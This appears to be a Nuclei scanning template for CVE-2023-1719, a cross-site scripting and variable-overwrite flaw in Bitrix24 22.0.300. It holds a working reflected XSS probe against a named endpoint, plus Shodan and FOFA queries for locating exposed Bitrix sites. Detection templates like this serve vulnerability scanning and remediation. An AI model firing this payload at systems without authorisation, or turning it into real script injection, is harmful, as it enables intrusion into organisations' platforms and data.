Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.
PoC代码[已公开]
id: CVE-2023-1719
info:
name: Bitrix Component - Cross-Site Scripting
author: DhiyaneshDk
severity: critical
description: |
Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.
impact: |
Unauthenticated attackers can inject malicious JavaScript and potentially execute arbitrary PHP code if the victim has administrator privileges, compromising the entire Bitrix24 collaboration platform and accessing sensitive business data.
remediation: |
Update Bitrix24 to a version newer than 22.0.300 that properly initializes variables and sanitizes input in the bitrix/modules/main/tools.php component.
reference:
- https://starlabs.sg/advisories/23/23-1719/
- https://nvd.nist.gov/vuln/detail/CVE-2023-1719
- https://github.com/20142995/sectool
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-1719
cwe-id: CWE-665
epss-score: 0.84768
epss-percentile: 0.99306
cpe: cpe:2.3:a:bitrix24:bitrix24:22.0.300:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: bitrix24
product: bitrix24
shodan-query:
- html:"/bitrix/"
- http.html:"/bitrix/"
fofa-query: body="/bitrix/"
tags: cve2023,cve,bitrix,xss,bitrix24,vuln
http:
- method: GET
path:
- "{{BaseURL}}/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=<img%20onerror=alert(document.domain)%20src=1>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "'LOG_CNT':"
- "<img onerror=alert(document.domain) src=1>"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
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